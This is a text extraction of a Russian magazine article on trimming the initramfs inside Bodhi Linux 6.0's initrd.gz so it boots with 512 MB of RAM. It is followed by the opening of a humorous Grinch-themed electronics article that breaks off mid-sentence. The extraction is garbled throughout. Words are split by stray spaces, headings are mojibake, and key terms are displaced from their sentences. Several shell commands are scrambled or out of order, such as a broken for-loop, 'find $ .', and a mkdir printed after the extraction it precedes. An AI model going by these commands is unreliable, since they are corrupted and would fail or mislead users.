768 Мб: [ ] Memory: 649552K/785976K available (14339K kernel 

code, 2400K rwdata, 5008K rodata, 2732K init, 4972K bss, 136424K 
reserved, 0K cma-reserved)
896 Мб: [ ] Memory: 778576K/917048K available (14339K kernel 

code, 2400K rwdata, 5008K rodata, 2732K init, 4972K bss, 138472K 
reserved, 0K cma-reserved)
1024 Мб: [ ] Memory: 907600K/1048120K available (14339K kernel 
code, 2400K rwdata, 5008K rodata, 2732K init, 4972K bss, 140520K 
reserved, 0K cma-reserved)

На осно вании этих све дений мож но сде лать вывод, что объ ем памяти, занима -
емой про цес сом ядра с сег мента ми кода (kernel code), кон стант (rodata),
изме няемых неини циали зиро ван ных (rwdata) и ини циали зиро ван ных (bss) дан -
ных пос тоян но и сос тавля ет 29 451 Кбайт или при мер но 29 Мбайт. Объ ем
допол нитель но резер виру емой ядром памяти в некото рой сте пени зависит
от обще го объ ема опе ратив ной памяти компь юте ра, но в основном опре деля -
ется раз мером фай ла . Мож но ска зать, что зна чение reserved рав но

сум ме раз мера про цес са ядра (29 Мбайт), фай ла  (87 Мбайт) и сис -

темных струк тур (10–20 Мбайт).

initrd.gz
initrd.gz

Как считать память, если ее не хватило
Что бы получить жур нал сооб щений ядра при 384 Мбайт и 512 Мбайт ОЗУ, ког -
да ядро не может рас паковать МФС, перенап равь кон соль в пос ледова тель -
ный порт ttyS0, добавив парамет ры ядра в коман дной стро ке заг рузчи ка:

console=ttyS0 console=tty0 ignore_loglevel

А сам порт перенап равля ется в файл нас трой кой вир туаль ной машины
VirtualBox, как показа но на рисун ке.

В осталь ных слу чаях, ког да опе ратив ной памяти дос таточ но для рас паков ки
МФС, мож но наз начить пре рыва ние про цес са init пос ле заг рузки драй веров,
дос таточ ных для мон тирова ния накопи телей. Для это го к парамет рам ядра
надо добавить . Ког да появит ся коман дная стро ка BusyBox, мож -

но вруч ную при мон тировать к МФС основной накопи тель и сох ранить на него
необ ходимые све дения.

break=mount

Те перь мы можем пос читать, что объ ем сво бод ной опе ратив ной памяти
на дан ном эта пе сос тавля ет 512 – 128 = 384 Мбайт. Это доволь но мно го, если
учесть, что перед ядром сто ит единс твен ная задача рас паков ки МФС из сжа -
того алго рит мом LZ4 архи ва. Сей час самое вре мя вспом нить, что в рас -
пакован ном виде эта фай ловая сис тема занима ет 242 Мбайт, и для ее хра -
нения этот объ ем надо вычесть из име юще гося сво бод ного прос транс тва: 384
– 242 = 142 Мбайт. Но это все еще при лич ный запас.

Рас паков кой и одновре мен но фор мирова нием МФС занима ется конеч ный
авто мат, реали зован ный в модуле . Он по мере необ ходимос ти
резер виру ет буфер ную память, которая осво бож дает ся пол ностью толь ко пос -
ле завер шения его работы. Поэто му в опи сыва емых усло виях сво бод ная опе -
ратив ная память исчерпы вает ся в момент фор мирова ния 384/2 = 192 Мбайт
МФС из 242 Мбайт необ ходимых.

init/initramfs.c

ÏÀÐÀÄÎÊÑÀËÜÍÀß ÈÄÅß

Что, если не архи виро вать cpio-блок с МФС? Идея парадок саль ная, но тог да
ядру не при дет ся выделять память для рас паков ки и дис три бутив запус тится
на сис темах с 512 Мбайт ОЗУ. Естес твен но, у такого спо соба будут недос -
татки. Во-пер вых, раз мер обра за уве личит ся на 242 – 83 = 159 Мбайт. Из-за
это го может воз расти вре мя заг рузки, если носитель с обра зом не очень про -
изво дитель ный, нап ример DVD-ROM или флеш ка USB 2.0.

Но хуже все го то, что этот спо соб совер шенно нерабо тос пособен, потому
что из-за уве личе ния фай ла  объ ем сво бод ной памяти сок ратит ся

на 159 Мбайт, пос ле чего вмес то 384 Мбайт оста нет ся 225 Мбайт, в которые
никак не смо жет помес тить ся 242-мегабай тная МФС. А на самом деле ока -
зыва ется, что перенос содер жимого из cpio-бло ка в МФС тоже про изво дит ся
через буфер ную память, что вызыва ет ава рий ное пре рыва ние про цес са пос ле
обра бот ки при мер но 112 Мбайт. Поэто му надо искать дру гие пути.

initrd.gz

ÈÇÓ×ÀÅÌ ÑÎÑÒÀÂ ÌÈÍÈÌÀËÜÍÎÉ ÔÑ

Единс твен ный объ ект, модифи кация которо го может помочь сэконо мить
память на началь ном эта пе заг рузки, — это МФС. Опре делить, какой объ ем
занима ют ее час ти, нет рудно — дос таточ но выпол нить внут ри инте ресу ющих
катало гов коман ду

   |   | $ du -shm * sort -rn head

Она под счи тыва ет и наг лядно показы вает раз меры под катало гов в текущем
катало ге. В резуль тате получи лась кар та самых круп ных объ ектов МФС.

Эле мен ты МФС с ука зани ем их раз мера

По дав ляющую долю МФС сос тавля ют бинар ные фай лы, пре дос тавлен ные про -
изво дите лями устрой ств, и модули ядра с драй верами устрой ств. Хорошо бы
узнать, из каких пакетов они появи лись:

$ dpkg-query -S /lib/firmware
wireless-regdb, linux-firmware, intel-microcode, amd64-microcode: 
/lib/firmware

$ dpkg-query -S /lib/modules
linux-modules-extra-5.4.0-72-generic, linux-modules-5.4.0-72-
generic, linux-headers-5.4.0-72-generic: /lib/modules

Ока зыва ется, источни ки той мас сы фай лов, из-за которых «рас пуха ет» 

, — это все го нес коль ко пакетов. Сгруп пировать их по выпол няемым фун -

кци ям и уда лить лиш ние не вый дет. Оста вим пока эту проб лему и поп робу ем
выяс нить, все ли эти пакеты необ ходимы для началь ной заг рузки ОС.
Для отве та на этот воп рос надо обра тить ся к сце нарию , который

находит ся в кор не МФС и коор диниру ет все выпол няемые на этом эта пе дей -
ствия.

initrd.
gz

/init

ÈÑÑËÅÄÎÂÀÍÈÅ ÑÖÅÍÀÐÈß /INIT

Сна чала этот сце нарий ини циали зиру ет перемен ную окру жения , что бы

обес печить себе дос туп к сис темным ути литам:

PATH

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/
sbin:/bin

Пос ле это го он допол няет фай ловую сис тему катало гами, что бы приб лизить ее
к Filesystem Hierarchy Standard. Некото рые катало ги мон тиру ются спе циаль ным
обра зом для отоб ражения в них вир туаль ных фай ловых сис тем:

/dev
/root
/sys        <--- mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
/proc       <--- mount -t proc -o nodev,noexec,nosuid proc /proc
/tmp
/var/lock
/dev        <--- mount -t devtmpfs -o noexec,nosuid,mode=0755 
udev /dev
/dev/pts        <--- mount -t devpts -o noexec,nosuid,gid=5,
mode=0620 devpts /dev/pts

За тем фор миру ется сре да окру жения, в которой отме тим перемен ную
. Она опре деля ет раз мер опе ратив ной памяти, который будет

зарезер вирован для вир туаль ной фай ловой сис темы . Зна чение этой

перемен ной извле кает ся из кон фигура цион ного фай ла 

и по умол чанию сос тавля ет 10%.

RUNSIZE
/run

/conf/initramfs.conf

Пос ле под клю чения под прог рамм из биб лиоте ки 

запус кает ся цикл раз бора парамет ров, передан ных ядру Linux из коман дной
стро ки заг рузчи ка:

/script/functions

x  for in $(cat /proc/cmdline)
     case $x in
   ...
   ИмяПараметра=*)
       ИМЯПАРАМЕТРА="${x#ИмяПараметра=}"
       ;;
   ...
   initramfs.runsize=*)
       RUNSIZE="${x#initramfs.runsize=}"
       ;;
   boot=*)
       BOOT=${x#boot=}
       ;;
   break=*)
       break=${x#break=}
       ;;
   break)
       break=premount
       ;;
   ...
   esac

done

В основном он допол няет или изме няет перемен ные сре ды. Нап ример,
на зна чение перемен ной  мож но пов лиять, ука зав параметр ядра

. Перемен ная BOOT — инди катор спо соба заг рузки ОС:
local, nfs или casper. В даль нейшем она исполь зует ся для под клю чения сце -
нари ев мон тирова ния основной фай ловой сис темы в коман де такого вида:

RUNSIZE
initramfs.runsize

. /scripts/${BOOT}

С помощью парамет ра  мож но из коман дной стро ки ядра ука зать точ ку

оста нова, которая прер вет исполне ние init и выдаст коман дную стро ку BusyBox
в сре де минималь ной фай ловой сис темы. Эта воз можность реали зует ся фун -
кци ей , опре делен ной в , и я поль зовал ся

ей для ана лиза рас пре деле ния опе ратив ной памяти на ран ней ста дии заг рузки
ядра. Еще мож но обра тить вни мание на параметр , который может при -

нять зна чение  для выпол нения сетевой заг рузки.

break

maybe_break() /script/functions

root
nfs

Да лее про исхо дит мон тирова ние фай ловой сис темы , содер жимое
которой будет хра нить ся в фай ловом кеше опе раци онной сис темы, то есть
занимать мес то в опе ратив ной памяти:

/run

 mount -t tmpfs -o "nodev,noexec,nosuid,size=${RUNSIZE:-10%},
mode=0755" tmpfs /run

 mkdir -m 0700 /run/initramfs

INFO

На самом деле объ ем опе ратив ной памяти,
резер виру емой для фай ловой сис темы ,
никако го отно шения к воп росу, который мы изу -
чаем, не име ет. Ведь сце нарий  нач нет
свою работу толь ко пос ле того, как МФС будет
готова. Но о нем сто ит пом нить, если воз никнут
проб лемы на сле дующем шаге заг рузки.

/run

/init

Даль ше заг ружа ются модули ядра, перечис ленные в кон фигура цион ном фай ле
, а имен но dm-mod и dm-mirror. С помощью ути литы 

мы можем узнать, что модуль dm-mod встро ен в ядро ( ),

а dm-mirror находит ся вот в этом фай ле:

/conf/modules modinfo
filename: builtin

/lib/modules/5.4.0-72-generic/kernel/drivers/md/dm-mirror.ko

В его зависи мос тях перечис лены модули dm-region-hash.ko и dm-log, находя -
щиеся по тому же пути.

По том сце нарий  с помощью под прог раммы , опре делен -

ной в , выпол няет в тре буемой пос ледова тель нос ти сце -

нарии из катало гов  и . Резуль -
тат — под клю чение драй веров , ини циали зация кон соли и фрей -

мбу фера, запуск под систе мы управле ния устрой ства ми udev и гра фичес кой
зас тавки plymouth.

init run_scripts
/script/functions

/scripts/init-top /scripts/init-premount
generic-ide

Пос ле заг рузки под прог рамм из фай лов  и 

 (потому что в коман дной стро ке ядра ука зан параметр )

с их помощью под клю чает ся драй вер RAID, модули под дер жки фай ловых сис -
тем и шиф рования кор невой фай ловой сис темы.

/scripts/local /scripts/
casper boot=casper

На конец, выпол няет ся фун кция , опре делен ная в фай ле 

 (и пере опре делив шая таковые из  и 
). Она мон тиру ет основную фай ловую сис тему к катало гу МФС 

, который задан перемен ной окру жения rootmnt. Если мон тирова ние

основной фай ловой сис темы прош ло успешно, на нее перено сят ся вир туаль -
ные фай ловые сис темы, содер жащие сфор мировав ший ся к текуще му вре мени
кон текст:

mountroot () /
scripts/casper /scripts/local /
scripts/nfs /
root

 /runmount -n -o move /run ${rootmnt}
 /sysmount -n -o move /sys ${rootmnt}
 mount -n -o move /proc ${rootmnt}/proc

Пос ледний шаг — это перек лючение кор ня на основную фай ловую сис тему
и переда ча управле ния прог рамме , если иное не было опре деле -
но парамет ром ядра .

/sbin/init
init

INFO

Воз можно, тебе уже спа сал жизнь при ем ава рий -
ной заг рузки в коман дную стро ку, который сос -
тоит в ука зании парамет ра . Если
нет, то дер жи на воору жении!

init=/bin/sh

Под ведем итог. На началь ном эта пе заг рузки опе раци онной сис темы могут
пот ребовать ся:

мо дули ядра с драй верами интерфей са и носите ля, на котором раз мещен
дис три бутив Bodhi Linux с обра зом основной фай ловой сис темы 

;

•
/casper/

filesystem.squashfs

драй веры виде оадап тера для отоб ражения кра соч ной гра фичес кой зас -
тавки, которая соп ровож дает заг рузку;

•

мо дули ядра с драй верами сетевых устрой ств, в том чис ле с бинар ными
бло ками Wi-Fi, для сетевой заг рузки.

•

Ку да слож нее будет отве тить на воп рос, от чего на этом эта пе мож но отка зать -
ся.

ÀÃÐÅÑÑÈÂÍÛÉ ÏÎÄÕÎÄ

Bodhi Linux позици они рует ся как дис три бутив для бытово го при мене ния
рядовы ми поль зовате лями, поэто му не кажет ся боль шим прес тупле нием
убрать из него сетевые драй веры и таким обра зом лишить его воз можнос ти
сетевой заг рузки. Ради уста нов ки на компь ютер с 512 Мбайт опе ратив ной
памяти мож но пожер тво вать и эсте тичес кой сто роной про цес са, отка зав шись
от гра фичес кой зас тавки.

Та кие допуще ния поз воля ют с отно ситель но чис той совестью уда лить
из МФС самые объ емные катало ги. Для это го пос ле ана лиза струк туры

 и извле чения МФС в каталог  надо выпол нить такие

коман ды:

initrd.gz initramfs

 $ rm -fr initramfs/usr/lib/firmware/{netronome,amdgpu,radeon,
liquidio,i915}

 $ rm -fr initramfs/usr/lib/modules/5.4.0-72-generic/kernel/
drivers/{net,gpu,scsi}

IDE CDROM в Linux под держи вает ся через под систе му SCSI. Так почему был
уда лен каталог с драй верами этой под систе мы?

С одной сто роны, коман да  показы вает, что

интерфей сы SCSI дей стви тель но исполь зуют ся:

dmesg | grep 'scsi'

[ ] scsi host0: ahci
[ ] scsi host1: ahci
...
[ ] sr 1:0:0:0: Attached scsi CD-ROM sr0
[ ] sr 1:0:0:0: Attached scsi generic sg1 type 5

С дру гой сто роны, коман да lsmod не показы вает заг ружен ных SCSI-модулей,
что намека ет на их наличие в ядре.

Та кая чис тка не помеша ет исполь зовать виде оадап теры или SCSI RAID пос ле
уста нов ки опе раци онной сис темы на компь ютер: все эти драй веры есть
в обра зе основной фай ловой сис темы. Они будут недос тупны лишь на ран нем
эта пе заг рузки с дис три бутив ного носите ля — до перек лючения с МФС
на основную фай ловую сис тему. Один из эта пов уста нов ки опе раци онной сис -
темы — генера ция фай ла , который содер жит все необ -

ходимые для работы обо рудо вания ком понен ты.

/boot/initrd.img

Пос ле чис тки раз мер МФС сок ратил ся на 136 Мбайт и сос тавил 103 Мбайт,
а упа кован ный файл  стал занимать 47 Мбайт. Образ Bodhi Linux

с таким фай лом работа ет на компь юте ре с 512 Мбайт опе ратив ной памяти
как в демонс тра цион ном режиме (Try Bodhi), так и в режиме уста нов ки опе -
раци онной сис темы (Install Now) на жес ткий диск. Рас пре деле ние опе ратив ной
памяти выг лядит сле дующим обра зом:

initrd.gz

[ ] Memory: 433588K/523832K available (14339K kernel code, 2400K 
rwdata, 5008K rodata, 2732K init, 4972K bss, 90244K reserved, 0K 
cma-reserved)

Продолжение статьи →
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При заг рузке будет толь ко тек сто вая зас тавка вмес то гра фичес кой, но это
никак не вли яет на работу дис три бути ва. Драй веры виде оадап тера акти виру -
ются пос ле перек лючения на основную фай ловую сис тему, и гра фичес кое
окру жение бла гопо луч но ини циали зиру ется.

Гра фичес кая (сле ва) и тек сто вая (спра ва) зас тавки при заг рузке Bodhi
Linux

При умень шении объ ема памяти до 384 Мбайт уда лось успешно заг рузить ся
в демонс тра цион ном режиме, но про цеду ра уста нов ки прер валась на эта пе
раз метки накопи теля.

ÄÅËÈÊÀÒÍÛÉ ÏÎÄÕÎÄ

Нес мотря на срав нитель ный успех опи сан ного под хода, хотелось бы иметь
более авто ритет ную аргу мен тацию при отбо ре эле мен тов, исклю чаемых
из МФС. Пос мотрим еще раз на сос тав пакетов, которые внес ли вклад
в каталог модулей ядра. На себя обра щает вни мание 

. Сло во extra намека ет, что в нем соб раны допол нения

к пакету , без которых, воз можно, удас тся

обой тись. Но уда лить этот пакет средс тва ми dpkg не получит ся, потому что
в целях миними зации МФС раз работ чики исклю чили из нее базу дан ных
со све дени ями об уста нов ленных пакетах (обыч но она находит ся в катало ге 

).

linux-modules-extra-
5.4.0-72-generic

linux-modules-5.4.0-72-generic

/
var/lib/dpkg

Бу дем дей ство вать сле дующим обра зом. Сна чала получим из заг ружен ной
в демонс тра цион ном режиме опе раци онной сис темы Bodhi Linux спи сок фай -
лов, вхо дящих в сос тав пакета :linux-modules-extra-5.4.0-72-generic

dpkg  
 

$ -L linux-modules-extra-5.4.0-72-generic | grep '^/lib/
modules/.*\.ko$' > list-extra.txt

По том по сос тавлен ному спис ку мож но уда лить из МФС модули ядра, отно -
сящи еся к это му пакету. Здесь, как и ранее, пред полага ется, что МФС
находит ся в катало ге .initramfs

  $ cat list-extra.txt | while read module; do rm initramfs$module;
done

При выпол нении этой коман ды ты уви дишь мно го сооб щений об отсутс тву -
ющих фай лах, потому что пакет 
пред став лен в МФС час тично. Но пос ле завер шения мож но убе дить ся в том,
МФС ста ла зна читель но ком пак тнее:

linux-modules-extra-5.4.0-72-generic

 $ du -sh initramfs
179M    initramfs

А содер жимое катало га  уда лим пол ностью:lib/firmware

 $ rm -fr initramfs/lib/firmware/*

Это сок ратит МФС до разум ного раз мера в 86 Мбайт. Соб ранный с такой
МФС файл  занима ет 37 Мбайт, а образ с ним заг ружа ется точ но так
же, как и в рас смот ренном выше слу чае. Память рас пре деля ется так:

initrd.gz

[ ] Memory: 441968K/523832K available (14339K kernel code, 2400K 
rwdata, 5008K rodata, 2732K init, 4972K bss, 81864K reserved, 0K 
cma-reserved)

ÀÂÒÎÌÀÒÈ×ÅÑÊÀß ÑÁÎÐÊÀ INITRD.GZ

А что, если вос поль зовать ся фай лом , который авто мати чес ки фор -
миру ется в ходе уста нов ки опе раци онной сис темы на компь ютер? Взять
и прос то заменить этим фай лом  на носите ле с дис три бути вом

нель зя, ведь отли чия меж ду МФС уста нов ленной сис темы и дис три бути ва зак -
люча ются не толь ко в сос таве драй веров, но и в наборе прог рамм и тек стах
сце нари ев. Одна ко мож но извлечь из него катало ги  и 

 и помес тить их в МФС.

initrd.img

initrd.gz

lib/firmware lib/
modules

Вот незада ча! Если попытать ся заг рузить сис тему с изго тов ленно го таким
методом обра за, работа сце нария  оста нав лива ется с сооб щени емinit

/cow format specified as 'overlay' and no support found

Эту ошиб ку выводит сле дующая стро ка сце нария :/scripts/casper

 modprobe "${MP_QUIET}" -b overlay || panic "/cow format specified 
as 'overlay' and no support found"

Ока зыва ется, сце нарий не может заг рузить модуль фай ловой сис темы
overlayfs, который не исполь зует ся в уста нов ленной опе раци онной сис теме,
но в демонс тра цион ном режиме необ ходим для обра зова ния изме няемо го
слоя над основной фай ловой сис темой, которая дос тупна толь ко для чте ния.
Для решения проб лемы надо записать каталог 

 в МФС, пос ле чего обно вить зависи мос ти
с помощью пос ледова тель нос ти команд:

/lib/modules/5.4.0-72-
generic/kernel/fs/overlayfs

$ sudo chroot initramfs /bin/ash
# ln -s /bin/kmod /usr/sbin/depmod
# depmod
# exit

Ес ли теперь пересоб рать , то образ с ним будет рабочим, но,
во-пер вых, при заг рузке по-преж нему отсутс тву ет гра фичес кая зас тавка,
а во-вто рых, раз мер МФС получил ся не таким уж ком пак тным: 172 Мбайт
до упа ков ки и 63 Мбайт — пос ле. Память при этом рас пре деля ется так:

initrd.gz

 [ ] Memory: 417248K/523832K available (14339K kernel code, 2400K 
rwdata, 5008K rodata, 2732K init, 4972K bss, 106584K reserved, 0K 
cma-reserved)

WARNING

Пе ред вне сени ем изме нений в кон фигура цион -
ные фай лы не забудь сде лать их резер вные
копии, а пос ле генера ции  вос ста -
нови исходную кон фигура цию!

initrd.img

Спра вить ся с обо ими недос татка ми и сок ратить объ ем работы мож но, если
сге нери ровать файл  средс тва ми пакета initramfs-tools пос ле

неболь шой под готов ки. Во-пер вых, давай явным обра зом про пишем в фай ле 

 спи сок модулей, которые заг ружены (а зна -
чит, тре буют ся) при работе Bodhi Linux в демонс тра цион ном режиме.
Для получе ния такого спис ка надо (в демонс тра цион ном режиме) выпол нить
коман ду

initrd.img
/

etc/initramfs-tools/modules

     $ lsmod | tail -n +2 | cut -f1 -d ' ' > modules.txt

Во-вто рых, что бы в  попали толь ко те драй веры, которые нуж ны
для под дер жки обо рудо вания кон крет ного компь юте ра, в файл 

 вне сем исправ ление:

initrd.img
/etc/

initramfs-tools/initramfs.conf

MODULES=dep

Те перь мож но запус тить фор мирова ние фай ла  коман дойinitrd.img

$ mkinitramfs -o initrd.img

Ос талось толь ко перенес ти из него катало ги  и 

в МФС. Спе циаль ной заботы по поводу overlayfs в этом слу чае не тре бует ся,
потому что модуль при сутс тву ет в сфор мирован ном спис ке.

lib/firmware lib/modules

WARNING

При извле чении фай ловой сис темы из 
 будь вни мате лен: он сос тоит из двух час тей,

а не из трех. Сце нарий, запущен ный с кон -
фигура цион ным парамет ром ,
оста вит мик рокод толь ко того про цес сора,
которым осна щен работа ющий компь ютер.
А каталог  в извле чен ной из него
фай ловой сис теме может вооб ще отсутс тво вать.

initrd.
img

MODULES=dep

lib/firmware

Об раз, в который был помещен  с МФС, под готов ленной опи сан -
ным спо собом, показал наилуч ший резуль тат. Во-пер вых, МФС получи лась
самая ком пак тная: 55 Мбайт в рас пакован ном виде и 26 Мбайт в упа кован ном.
Крас норечи вее все го об этом говорит рас пре деле ние памяти:

initrd.gz

 [ ] Memory: 451928K/523832K available (14339K kernel code, 2400K 
rwdata, 5008K rodata, 2732K init, 4972K bss, 71904K reserved, 0K 
cma-reserved)

Во-вто рых, бла года ря вклю чению в МФС драй веров, спе цифич ных для компь -
юте ра, при заг рузке демонс три рует ся гра фичес кая зас тавка (ура, мы сде лали
это!).

Та кой спо соб опти миза ции МФС луч ше все го под ходит для соз дания вир -
туаль ных машин с еди ной кон фигура цией. Увы, соз данный таким методом
носитель с дис три бути вом не смог отыс кать основную фай ловую сис тему
на реаль ных компь юте рах, в отли чие от рас смот ренных рань ше вари антов.

ÂÛÂÎÄÛ

Не кото рые сов ремен ные дис три бути вы GNU/Linux завыша ют «порог вхо да»:
предъ явля ют более высокие тре бова ния к опе ратив ной памяти на эта пе запус -
ка уста нов ки или демонс тра цион ного режима, чем на самом деле тре бует ся
для работы ОС. При чина, с одной сто роны, в том, что при извле чении
минималь ной фай ловой сис темы из бло ка cpio ядро нераци ональ но исполь зует
опе ратив ную память, а с дру гой — в избы точ ном наборе драй веров, которые
раз работ чики дис три бути вов вклю чают в минималь ную фай ловую сис тему.

Мы про ана лизи рова ли сос тав минималь ной фай ловой сис темы и наш ли
нес коль ко спо собов опти мизи ровать его. Опи сан ные при емы поз воля ют так
модифи циро вать образ Bodhi Linux 6.0, что бы он был при годен для уста нов ки
опе раци онной сис темы на компь юте ры с 512 Мбайт опе ратив ной памяти.
Это может ока зать ся полез но при соз дании одно тип ных вир туаль ных машин
или для прод ления сро ка служ бы уста рев шей тех ники.

На до отме тить, что исполь зован ный в статье при ем с пол ной очис ткой
содер жимого катало га  может при вес ти к проб леме в слу чае,

если бинар ный блок тре бует ся драй веру, . Впро чем,
на прак тике с этим стол кнуть ся не приш лось.

/lib/firmware
ин тегри рован ному в ядро

ÏÐÈËÎÆÅÍÈÅ 1. ÀÍÀËÈÇÈÐÓÅÌ ÑÒÐÓÊÒÓÐÓ INITRD.GZ

Файл initrd.gz из обра за Bodhi Linux 6.0 сос тоит из трех час тей: мик рокода
для про цес соров AMD, мик рокода для про цес соров Intel и собс твен но упа -
кован ной минималь ной фай ловой сис темы. Что бы доб рать ся до этой ФС, нуж -
но узнать, по какому сме щению от начала фай ла она находит ся. А для это го
при дет ся пос ледова тель но изме рить каж дую пре дыду щую часть. Прис тупим:

$ file initrd.gz
initrd.gz: ASCII cpio archive (SVR4 with no CRC)

Пер вая часть — это архив фор мата cpio. Пос мотрим его содер жимое, что бы
опре делить раз мер:

$ cpio -it < initrd.gz
.
kernel
kernel/x86
kernel/x86/microcode
kernel/x86/microcode/AuthenticAMD.bin
62 бло ка

Из вывода коман ды понят но, что мы прос мотре ли мик рокод для про цес соров
AMD, раз мер которо го 62 бло ка по 512 байт. Отсту паем на 62 бло ка от начала
фай ла  и опре деля ем фор мат сле дующей час ти:initrd.gz

$ dd if=initrd.gz bs=512 skip=62 | file -
/dev/stdin: ASCII cpio archive (SVR4 with no CRC)

Сно ва перед нами архив фор мата cpio, который мы можем прос мотреть:

$ dd if=initrd.gz bs=512 skip=62 | cpio -it
kernel
kernel/x86
kernel/x86/microcode
kernel/x86/microcode/.enuineIntel.align.0123456789abc
kernel/x86/microcode/GenuineIntel.bin
6760 бло ков

Ока зыва ется, это мик рокод для про цес соров Intel, который зна читель но боль -
ше — 6760 бло ков. Вычис ляем сме щение к сле дующей час ти:

((6760+62))
6822
echo

Что же пред став ляет собой тре тий блок?

$ dd if=initrd.gz bs=512 skip=6822 | file -
/dev/stdin: LZ4 compressed data (v0.1-v0.9)

Пе ред нами дан ные, сжа тые алго рит мом LZ4. А что, собс твен но, сжа то?

$ dd if=initrd.gz bs=512 skip=6822 | unlz4 | file -
/dev/stdin: ASCII cpio archive (SVR4 with no CRC)

А сжат архив cpio, содер жимое которо го мы можем уви деть пос ле пред -
варитель ной рас паков ки:

$ dd if=initrd.gz bs=512 skip=6822 | unlz4 | cpio -it
.
bin
conf
conf/arch.conf
...
var/lib
var/lib/dhcp
474504 бло ка

Это как раз то, что нам нуж но, — минималь ная фай ловая сис тема. Теперь
у нас дос таточ но информа ции, что бы ее извлечь.

ÏÐÈËÎÆÅÍÈÅ 2. ÈÇÂËÅÊÀÅÌ ÌÈÍÈÌÀËÜÍÓÞ ÔÀÉËÎÂÓÞ

ÑÈÑÒÅÌÓ

Све дений, соб ранных при ана лизе фай ла initrd.gz, хва тит, что бы мож но было
сра зу прис тупить к извле чению минималь ной фай ловой сис темы. Но умес тно
вспом нить, что потом нам надо будет соб рать файл initrd.gz пос ле вне сения
изме нений в минималь ную фай ловую сис тему. Поэто му, пока еще све жи
в памяти све дения о струк туре это го фай ла, сох раним пер вые его час ти
в отдель ных фай лах initrd.p1 и initrd.p2, которые затем будем не задумы ваясь
исполь зовать для сбор ки:

$ dd if=initrd.gz bs=512 count=62 of=initrd.p1
62+0 записей получе но
62+0 записей отправ лено
31744 байт (32 kB, 31 KiB) ско пиро ван

$ dd if=initrd.gz bs=512 skip=62 count=6760 of=initrd.p2
6760+0 записей получе но
6760+0 записей отправ лено
3461120 байт (3,5 MB, 3,3 MiB) ско пиро ван

А теперь мож но извлечь минималь ную фай ловую сис тему. Для это го надо соз -
дать каталог, в который будут помеще ны ее фай лы, сде лать его текущим, пос -
ле чего наб рать ту же коман ду, которая недав но была исполь зована для прос -
мотра, заменив на ней ключ t клю чом m:

 dd if=../initrd.gz bs=512 skip=6822 | unlz4 | cpio -im
171678+1 записей получе но
171678+1 записей отправ лено
87899275 (88 MB, 84 MiB) ско пиро ван
474504 бло ка

 mkdir initramfs && cd initramfs

Пос ле извле чения мож но вый ти из катало га и оце нить раз мер его содер -
жимого:

$ cd .. && du -sh initramfs
239M    initramfs

Поч ти 240 Мбайт — дей стви тель но, это серь езная наг рузка на опе ратив ную
память. Навер няка сре ди этой мас сы есть мно го того, что не явля ется абсо -
лют но необ ходимым на началь ной фазе заг рузки опе раци онной сис темы.
А зна чит, ненуж ные эле мен ты мож но уда лить, пос ле чего про извести сбор ку
фай ла initrd.gz с облегчен ной минималь ной фай ловой сис темой.

ÏÐÈËÎÆÅÍÈÅ 3. ÑÎÁÈÐÀÅÌ ÔÀÉË INITRD.GZ

Со бирать файл  будем в поряд ке, обратном тому, в котором раз -

бирали. Сна чала надо сфор мировать его третью часть , упа ковав

модифи циро ван ную минималь ную ФС:

initrd.gz
init.p3

$ cd initramfs
find  $ . | cpio -H newc -o | lz4 -l8 > ../initrd.p3

INFO

В начале сво их экспе римен тов я вос поль зовал ся
ути литой lz4 без парамет ров и при заг рузке
с модифи циро ван ного дис три бути ва получил
сооб щение об ошиб ке «Initramfs unpacking
failed». Из докумен тации я узнал, что ключ 
зада ет под ходящую сте пень сжа тия.

-l

Ос талось соеди нить три час ти (пер вые две из них с мик рокодом про цес соров
дос тались в нас ледс тво) в новый файл :initrd.gz

 ..$ cd
$ cat initrd.p1 initrd.p2 initrd.p3 > initrd.gz

Пос ле замены фай ла initrd.gz на носите ле с дис три бути вом не забудь под счи -
тать его кон троль ную сум му и внес ти исправ ление в файл . Тог да

при заг рузке не уви дишь пре дуп режде ние о том, что носитель пов режден.

/md5sum.txt

https://www.kernel.org/doc/html/latest/driver-api/firmware/direct-fs-lookup.html#firmware-and-initramfs


НОВОГОДНИЙ

ПЕРЕПОЛОХ
ИЗУЧАЕМ ЭЛЕКТРОНИКУ

С ГРИНЧЕМ

prostorosty
I'm just a TechnoFreak.
7753313vv@gmail.com

GEEK

Бип-хо-хо-бип! При ем-при ем...
Наконец-то мне уда лось свя зать ся
с тобой, прис пешник! Это я, Гринч. Я уже
украл Рож дес тво, а теперь похищу и ваш
любимый Новый год! Нет вре мени на воп -
росы, у нас мно го работы. Мы сде лаем
ловуш ку на Деда Мороза, укра дем
новогод нюю елку и научим ся хакать умные
гир лянды! Мне уже уда лось взло мать сайт
«Хакера» и запос тить эту статью. Читай
ско рее, пока не при шел админ!

Преж де чем перехо дить к пакос тям, нам с тобой надо будет как сле дует под -
готовить ся. Я нашел на «Хакере» нес коль ко ста тей по элек тро нике и пай ке,
зна ния отку да тебе сегод ня при годят ся. Про читай их, ведь нам пред сто ит
работать с элек тро никой, ина че праз дник оста нет ся на сво ем мес те!

INFO

•Циф ровая элек тро ника с самого начала.
Собира ем схе мы на MOSFET-тран зисто рах

•Бунт мно гоно жек. Собира ем устрой ство
с интеграль ными мик росхе мами

•Вре мя паять! Под бира ем инс тру мен ты и осва -
иваем искусс тво пай ки

•Ис кусс тво пай ки. Выбира ем инс тру мен ты, при -
боры и рас ходни ки для домаш ней мас тер ской

Про читал? Гор жусь! Нач нем же немед ленно под готов ку к самому ответс твен -
ному делу тво ей жиз ни.

ÃÐÈÍ×Ó ÍÓÆÅÍ ÒÐÀÍÑÏÎÐÒ

Те бе пред сто ит сконс тру иро вать для меня механи чес кие сани, пря мо как у
Сан ты. Но если этот пузатый лопух на них подар ки раз возит, то я буду скла -
дывать в них подар ки укра ден ные. Толь ко без оле ней — не будем упо доб лять -
ся Кла усу и мучить бед ных зве рят, мои сани дол жны быть самоход ными.

Для изго тов ления моих саней тебе пот ребу ется элек трод вигатель. С ним ты
навер няка стал кивал ся, но сей час я рас ска жу о нем под робнее.

Ýëåêòðîäâèãàòåëü

Как-то мой ста рый товарищ Май кл Фарадей обна ружил, что при вза имо дей -
ствии маг нита и элек три чес кого тока в про вод нике может воз никнуть неп -
рерыв ное вра щение. На этом и осно выва ется прин цип работы элек трод вигате -
ля.

Прин цип работы дви гате ля пос тоян ного тока

Рас положив в маг нитном поле вер тикаль но рам ку из про вод ника и пус тив
